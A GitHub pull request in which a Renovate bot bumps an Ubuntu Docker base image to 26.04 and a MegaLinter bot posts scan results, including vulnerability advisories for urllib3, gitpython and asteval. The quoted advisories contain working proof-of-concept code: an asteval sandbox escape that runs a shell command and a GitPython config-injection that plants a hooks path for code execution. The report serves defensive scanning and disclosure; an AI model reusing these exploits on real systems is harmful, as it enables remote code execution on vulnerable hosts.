chore(deps): update docker.io/library/ubuntu docker tag to v26

[renovate]

This PR contains the following updates:

Package	Type	Update	Change
docker.io/library/ubuntu (source)	stage	major	24.04 → 26.04

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • Between 12:00 AM and 03:59 AM, only on Monday (* 0-3 * * 1)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[github-actions]

✅⚠️MegaLinter analysis: Success with warnings

Descriptor	Linter	Files	Fixed	Errors	Warnings	Elapsed time
✅ ACTION	actionlint	4		0	0	0.06s
✅ BASH	bash-exec	4		0	0	0.03s
✅ BASH	shellcheck	4		0	0	0.25s
✅ BASH	shfmt	4		0	0	0.01s
✅ DOCKERFILE	hadolint	1		0	0	2.09s
✅ EDITORCONFIG	editorconfig-checker	50		0	0	0.08s
✅ JSON	jsonlint	4		0	0	0.23s
✅ JSON	npm-package-json-lint	yes		no	no	0.59s
✅ JSON	prettier	4		0	0	0.83s
✅ JSON	v8r	4		0	0	10.38s
⚠️ MARKDOWN	markdownlint	5		9	0	0.96s
✅ REPOSITORY	checkov	yes		no	no	44.07s
✅ REPOSITORY	devskim	yes		no	no	2.26s
✅ REPOSITORY	gitleaks	yes		no	no	1.0s
✅ REPOSITORY	git_diff	yes		no	no	0.03s
⚠️ REPOSITORY	grype	yes		11	1	68.97s
✅ REPOSITORY	kics	yes		no	no	14.69s
✅ REPOSITORY	kingfisher	yes		no	no	6.0s
✅ REPOSITORY	secretlint	yes		no	no	1.99s
✅ REPOSITORY	syft	yes		no	no	4.54s
⚠️ REPOSITORY	trivy	yes		11	2	14.66s
✅ REPOSITORY	trivy-sbom	yes		no	no	0.68s
✅ REPOSITORY	trufflehog	yes		no	no	5.34s

Detailed Issues

⚠️ REPOSITORY / grype - 11 errors

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.45 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.45 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.45 was found at: /requirements.txt

warning: A medium vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.45 was found at: /requirements.txt

error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

error: A high vulnerability in python package: gitpython, version 3.1.45 was found at: /requirements.txt

warning: 1 warnings emitted
error: 11 errors emitted

⚠️ MARKDOWN / markdownlint - 9 errors

samples/charts/sample/README.md:5:9 error MD026/no-trailing-punctuation Trailing punctuation in heading [Punctuation: ';']
samples/charts/sample/README.md:8:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo add chgl https://c..."]
samples/charts/sample/README.md:9:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo update"]
samples/charts/sample/README.md:10:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm search repo chgl/sample..."]
samples/charts/sample/README.md:11:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:28:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:40:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm uninstall sample -n sam..."]
samples/charts/sample/README.md:90:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:97:1 error MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]

⚠️ REPOSITORY / trivy - 11 errors

o execute the `whoami` command on the host machine:
      
      ```py
      from asteval import Interpreter
      aeval = Interpreter()
      code = """
      ga_str = "__getattribute__"
      def lender():
          a
          b
      def pwn():
          ga = lender.dontcare
          init = ga("__init__")
          ga = init.dontcare
          globals = ga("__globals__")
          builtins = globals["__builtins__"]
          importer = builtins["__import__"]
          importer("os").system("whoami")
      
      def startswith1(str):
          # Replace the attr on the targeted AST node with "__getattribute__"
          pwn.body[0].value.attr = ga_str
          return False    
      
      def startswith2(str):
          pwn.body[2].value.attr = ga_str
          return False    
      
      n1 = lender.body[0]
      n1.startswith = startswith1
      pwn.body[0].value.attr = n1
      
      n2 = lender.body[1]
      n2.startswith = startswith2
      pwn.body[2].value.attr = n2
      
      pwn()
      """
      aeval(code)
      ```

error: Package: gitpython
Installed Version: 3.1.45
Vulnerability CVE-2026-42215
Severity: HIGH
Fixed Version: 3.1.47
Link: [CVE-2026-42215](https://avd.aquasec.com/nvd/cve-2026-42215)
    ┌─ requirements.txt:673:1
    │
673 │ gitpython==3.1.45 \
    │ ^
    │
    = GitPython is a python library used to interact with Git repositories.  ...
    = GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

error: Package: gitpython
Installed Version: 3.1.45
Vulnerability CVE-2026-42284
Severity: HIGH
Fixed Version: 3.1.47
Link: [CVE-2026-42284](https://avd.aquasec.com/nvd/cve-2026-42284)
    ┌─ requirements.txt:673:1
    │
673 │ gitpython==3.1.45 \
    │ ^
    │
    = GitPython is a python library used to interact with Git repositories.  ...
    = GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

error: Package: gitpython
Installed Version: 3.1.45
Vulnerability CVE-2026-44243
Severity: HIGH
Fixed Version: 3.1.48
Link: [CVE-2026-44243](https://avd.aquasec.com/nvd/cve-2026-44243)
    ┌─ requirements.txt:673:1
    │
673 │ gitpython==3.1.45 \
    │ ^
    │
    = GitPython: GitPython: Arbitrary file write via crafted reference paths
    = GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

error: Package: gitpython
Installed Version: 3.1.45
Vulnerability CVE-2026-44244
Severity: HIGH
Fixed Version: 3.1.49
Link: [CVE-2026-44244](https://avd.aquasec.com/nvd/cve-2026-44244)
    ┌─ requirements.txt:673:1
    │
673 │ gitpython==3.1.45 \
    │ ^
    │
    = GitPython is a python library used to interact with Git repositories.  ...
    = GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

error: Package: gitpython
Installed Version: 3.1.45
Vulnerability GHSA-mv93-w799-cj2w
Severity: HIGH
Fixed Version: 3.1.50
Link: [GHSA-mv93-w799-cj2w](https://github.com/advisories/GHSA-mv93-w799-cj2w)
    ┌─ requirements.txt:673:1
    │
673 │ gitpython==3.1.45 \
    │ ^
    │
    = GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath
    = Summary
      
      The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
      
      Details
      
      File: git/config.py — GitPython 3.1.49 (latest patched version)
      
      ```python
        def set_value(self, section: str, option: str, value) -> "GitConfigParser":
            value_str = self._value_to_string_safe(value)   # only value is validated
            if not self.has_section(section):
                self.add_section(section)                    # section not validated
            super().set(section, option, value_str)          # option not validated
            return self
      ```
      
      _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
      
      PoC
      
      ```python
        import git, os, subprocess
      
        repo = git.Repo.init("/tmp/bypass_test")
      
        os.makedirs("/tmp/evil_hooks", exist_ok=True)
        with open("/tmp/evil_hooks/pre-commit", "w") as f:
            f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
        os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
      
        # Inject newline into section parameter (not value — already patched)
        with repo.config_writer() as cw:
            cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
      
        r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                           capture_output=True, text=True)
        print(r.stdout.strip())  # → /tmp/evil_hooks
      
        subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
        print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed
      ```
      
      Impact
      
      Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-66418
Severity: HIGH
Fixed Version: 2.6.0
Link: [CVE-2025-66418](https://avd.aquasec.com/nvd/cve-2025-66418)
     ┌─ requirements.txt:1879:1
     │
1879 │ urllib3==1.26.20 \
     │ ^
     │
     = urllib3: urllib3: Unbounded decompression chain leads to resource exhaustion
     = urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.24 and prior to 2.6.0, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. This vulnerability is fixed in 2.6.0.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-66471
Severity: HIGH
Fixed Version: 2.6.0
Link: [CVE-2025-66471](https://avd.aquasec.com/nvd/cve-2025-66471)
     ┌─ requirements.txt:1879:1
     │
1879 │ urllib3==1.26.20 \
     │ ^
     │
     = urllib3: urllib3 Streaming API improperly handles highly compressed data
     = urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.0 and prior to 2.6.0, the Streaming API improperly handles highly compressed data. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2026-21441
Severity: HIGH
Fixed Version: 2.6.3
Link: [CVE-2026-21441](https://avd.aquasec.com/nvd/cve-2026-21441)
     ┌─ requirements.txt:1879:1
     │
1879 │ urllib3==1.26.20 \
     │ ^
     │
     = urllib3: urllib3 vulnerable to decompression-bomb safeguard bypass when following HTTP redirects (streaming API)
     = urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source.

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2026-44431
Severity: HIGH
Fixed Version: 2.7.0
Link: [CVE-2026-44431](https://avd.aquasec.com/nvd/cve-2026-44431)
     ┌─ requirements.txt:1879:1
     │
1879 │ urllib3==1.26.20 \
     │ ^
     │
     = urllib3: urllib3: Information disclosure via cross-origin redirects forwarding sensitive headers
     = urllib3 is an HTTP client library for Python. From 1.23 to before 2.7.0, cross-origin redirects followed from the low-level API via ProxyManager.connection_from_url().urlopen(..., assert_same_host=False) still forward these sensitive headers. This vulnerability is fixed in 2.7.0.

warning: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-50181
Severity: MEDIUM
Fixed Version: 2.5.0
Link: [CVE-2025-50181](https://avd.aquasec.com/nvd/cve-2025-50181)
     ┌─ requirements.txt:1879:1
     │
1879 │ urllib3==1.26.20 \
     │ ^
     │
     = urllib3: urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation
     = urllib3 is a user-friendly HTTP client library for Python. Prior to 2.5.0, it is possible to disable redirects for all requests by instantiating a PoolManager and specifying retries in a way that disable redirects. By default, requests and botocore users are not affected. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable. This issue has been patched in version 2.5.0.

warning: Artifact: samples/charts/sample/templates/deployment.yaml
Type: helm
Vulnerability KSV-0125
Severity: MEDIUM
Message: Container sample in deployment sample (namespace: default) uses an image from an untrusted registry.
Link: [KSV-0125](https://avd.aquasec.com/misconfig/ksv-0125)
   ┌─ samples/charts/sample/templates/deployment.yaml:40:1
   │
40 │         - name: {{ .Chart.Name }}
   │ ^
   │
   = Restrict container images to trusted registries
   = Ensure that all containers use images only from trusted registry domains.

warning: 2 warnings emitted
error: 11 errors emitted

(Truncated to last 13333 characters out of 19748)

See detailed reports in MegaLinter artifacts

Your project could benefit from a custom flavor, which would allow you to run only the linters you need, and thus improve runtime performances. (Skip this info by defining FLAVOR_SUGGESTIONS: false)

• Documentation: Custom Flavors
• Command: npx mega-linter-runner@9.4.0 --custom-flavor-setup --custom-flavor-linters ACTION_ACTIONLINT,BASH_EXEC,BASH_SHELLCHECK,BASH_SHFMT,DOCKERFILE_HADOLINT,EDITORCONFIG_EDITORCONFIG_CHECKER,JSON_JSONLINT,JSON_V8R,JSON_PRETTIER,JSON_NPM_PACKAGE_JSON_LINT,MARKDOWN_MARKDOWNLINT,REPOSITORY_CHECKOV,REPOSITORY_DEVSKIM,REPOSITORY_GIT_DIFF,REPOSITORY_GITLEAKS,REPOSITORY_GRYPE,REPOSITORY_KICS,REPOSITORY_SECRETLINT,REPOSITORY_SYFT,REPOSITORY_TRIVY,REPOSITORY_TRIVY_SBOM,REPOSITORY_TRUFFLEHOG,REPOSITORY_KINGFISHER

Show us your support by starring ⭐ the repository